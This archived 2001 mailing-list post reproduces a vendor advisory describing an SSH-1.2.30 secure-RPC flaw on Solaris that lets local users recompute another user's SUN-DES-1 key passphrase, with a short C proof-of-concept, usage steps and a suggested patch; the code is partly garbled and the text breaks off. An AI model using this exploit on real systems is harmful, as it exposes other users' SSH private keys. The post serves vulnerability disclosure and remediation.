Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email firstname.lastname@example.org
From: c0n (rootDEF-CON.ORG)
Date: Tue Jan 16 2001 - 21:59:45 CST
The greatest of all faults is to be conscious of none
-Thomas Carlyle 1795-1881
On Tue, 16 Jan 2001, ssh2-bugsssh.com wrote:
> Hello all,
> There is a bug in SSH-1.2.30 involving Secure RPC. The patch for this is available at http://www.ssh.com/patches.html.
> The explanation and bug was submitted by Richard Silverman (sladeshore.net), and his explanation of the bug is below. The SSH1 protocol is not formally supported by SSH Communications Security. However, as a service to the user community, we offer this patch as a potential way of addressing SSH1 related issues.
> If you have any questions or comments, please email ssh2-bugsssh.com.
> When using "secure-RPC" support to encrypt a secret key file with the "SUN-DES-1
> magic phrase," it is possible for SSH to generate a "magic phrase" which
> is easily discoverable by other users on the same host, or in the same
> NIS+ domain.
> Since this weakness can seriously threaten the secrecy of a user's private
> keys, I intend to post this information publically as soon as is feasible. I
> would, of course, like to allow you to assess the problem first and release a
> fix before I do so. Please keep me informed. If I do not hear back from you
> within a week (that is, by Friday 28 July 2000), I will go ahead and release
> the bug report.
> A user's private key file is encrypted with an easily discoverable
> SYSTEMS AFFECTED:
> Any system running SSH1 with secure-RPC support. As far as I know, this
> is limited to Sun Solaris 2.x. I have seen the problem under Solaris 2.6
> and 2.7, running on SPARC hardware.
> The SSH1 feature is called secure-RPC, but this is a little misleading.
> SSH1 does not use secure-RPC. Rather, it takes advantage of the
> cryptographic infrastructure present to support secure-RPC.
> On a Solaris system employing secure-RPC (for e.g. secure NFS or NIS+),
> there is a host-independent user and host naming scheme consisting of
> "netnames" contained in the "netid" table, and a Diffie-Hellman key pair
> belonging to each netname, contained in the "publickey" table. These
> tables may be kept in local files (/etc/netid, /etc/publickey), or stored
> in NIS+. User netnames look like "unix.<uid><domain>", and have an
> obvious mapping to local usernames via the uid on a given host. A user's
> Diffie-Hellman private key is stored encrypted with the user's "network
> password," which may differ from the user's login password on a particular
> Solaris includes a system server process called "keyserv," which is a
> caching and service agent for the secure-RPC private keys. To load the
> private key into keyserv, the user runs a program called "keylogin," which
> prompts for the network password. It then retrieves the user's private
> key from the publickey table, decrypts it with the password, and via an
> IPC mechanism stores the key with keyserv. Keyserv will only allow
> processes with the same uid as that which stored a key to access it.
> The keyserv API includes two functions, key_encryptsession and
> key_decryptsession. Their purpose is to support DES session key exchange
> between secure-RPC principals. The key_encryptsession routine takes a
> recipient netname N and DES key D. It looks up the public key P belonging
> to N, and retrieves from keyserv the private key K of the current user.
> It then encrypts D twice, using both Diffie-Hellman keys and P and K. The
> key_decryptsession routine performs the inverse operation on behalf of the
> recipient, recovering D.
> The SSH1 secure-RPC feature makes use of secure-RPC keys to encrypt the a
> user's SSH private key file without requiring a user-supplied passphrase.
> When ssh-keygen prompts the user for a passphrase to encrypt a new key (or
> change the passphrase of an existing key), it recognizes the special
> passphrase "SUN-DES-1". Instead of using this token as the passphrase, it
> does the following:
> - Finds the netname U of the current user.
> - Generates the string S: "ssh.XXXX", where XXXX is the user's uid in
> hexadecimal, left-padded with zeros.
> - Treats S as a DES key, padding it out on the right with 8 null bytes.
> - Calls key_encryptsession(U,S), producing S'. This encrypts S with both
> the public and private keys of the calling user.
> - Generates the string M, which is the (upper-case) ASCII hexadecimal
> representation of the 64-bit S'. This is the SUN-DES-1 "magic phrase."
> Ssh-keygen then uses M as the passphrase to encrypt the user's SSH private
> key in the usual way. The idea is that M is an automatically-generated
> secure passphrase for the user, and that an attacker would need the user's
> secure-RPC private key to discover M. When other SSH components need to
> read a private key file, they first generate M and attempt to decrypt the
> SSH private key with M; if that fails, they prompt the user for a
> The problem occurs if I encrypt an SSH key using the SUN-DES-1 magic
> phrase, without having done a keylogin -- that is, keyserv does not have
> my Diffie-Hellman private key. The Solaris 5.7 man page for the
> key_encryptsession routine does not say explicitly what happens in this
> case, though it does say that the routine returns 0 on success and -1 on
> failure. One would assume that it returns failure in this case. The SSH
> code does check the return code and tells the user to do a keylogin if
> key_encryptsession fails.
> However, this does not always happen. I have seen the correct behavior
> happen very occasionally while testing, but most of the time,
> key_encryptsession returns success instead, and appears to have encrypted
> its argument only with the public key of the target netname, simply
> skipping the other encryption step. This produces a magic phrase which
> can be generated easily by any other user on the system. If the victim
> has uid U and netname V, the attacker simply ensures that he does not have
> a private key available (by doing a keylogout), then calls
> key_encryptsession(V,"ssh.<U>...") as described above; this recovers the
> victim's magic phrase. The attacker can then use this to decrypt the
> victim's private key file, should he get hold of it through other means.
> The user may not notice the problem immediately, as his SSH will be able
> to automatically decrypt the private key file as expected, as long as he
> remains "keylogged out".
> To demonstrate this problem on a Solaris system with secure-RPC keys in
> place, do a keylogout, then use ssh-keygen to generate a new key (or
> change the passphrase on an existing key), setting the passphrase to
> "SUN-DES-1". You will see the message:
> "Using SUN-DES-1 magic phrase to encrypt the private key."
> (That is, you will see this if the bug manifests. As I mentioned, I have
> occasionally seen key_encryptsession return failure in this situation, in
> which case you will see "Failed to get SUN-DES-1 magic phrase. Run
> Then, compile the following short program:
> == exploit.c =====================================
> #include <stdio.h>
> #include <rpc/rpc.h>
> void die (char *msg)
> main (int argc, char **argv)
> char buf[MAXNETNAMELEN + 1];
> des_block block;
> uid_t uid;
> char *netname;
> if (argc < 3)
> die("supply uid and netname");
> sscanf(argv, "%d", &uid);
> netname = argv;
> memset(buf, 0, sizeof(buf));
> snprintf(buf, sizeof(buf), "ssh.%04X", uid);
> memcpy(block.c, buf, sizeof(block.c));
> if (key_encryptsession(netname, &block) != 0)
> die("key_encryptsession failed");
> printf("SUN-DES-1 magic phrase (uid %d, netname %s):\n %08X%08X\n",
> Any user may now do a keylogout, then call this program with your uid and
> netname as arguments, e.g. "exploit 12345 unix.12345domain.org". It will
> print out your magic phrase, which can be used directly to decrypt your
> private key file, e.g. with "ssh -i", "ssh-add", etc.
> The quick fix is this: in the routine userfile_get_des_1_magic_phrase
> (userfile.c:1150), change this line:
> if (getnetname(buf))
> to this:
> if (getnetname(buf) && key_secretkey_is_set())
> key_secretkey_is_set returns whether or not the calling process has a
> secret key registered with keserv.
> Unfortunately, this may not be complete solution. Judging from the
> secure-RPC code in auth-passwd.c, there are apparently two different
> versions of the keyserv API, 1 and 2, and key_secretkey_is_set is not
> available in version 1. In fact, auth-passwd.c has a routine
> my_secretkey_is_set, which calls key_secretkey_is_set if keyserv version 2
> is available -- otherwise, it calls key_encryptsession and relies on it
> failing if the secret key is not set! This suggests that, if this bug
> occurs in version 1 as well as 2, there may be no simple, reliable way to
> tell if the calling process' secret key is registered with keyserv.
> Theoretically, one could call getpublickey(3N) to retrieve the user's
> public key, encrypt a test token with it, and compare this to the result
> of encrypting the token with key_encryptsession -- the secret key is set
> only if they are different. However, the Solaris secure-RPC library does
> not appear to expose routines for performing Diffie-Hellman operations
> directly, so this would not be straightforward.
> Since this is a problem with an old version of keyserv, and with an SSH1
> option this is (I think) very little used, I haven't spent the time to
> come up with a fix for this. Perhaps someone with more motivation will do
> so. In the meantime, it may be best to simply disable the SSH1 secure-RPC
> feature if keyserv version 2 is not available (KEY_VERS2 is not defined by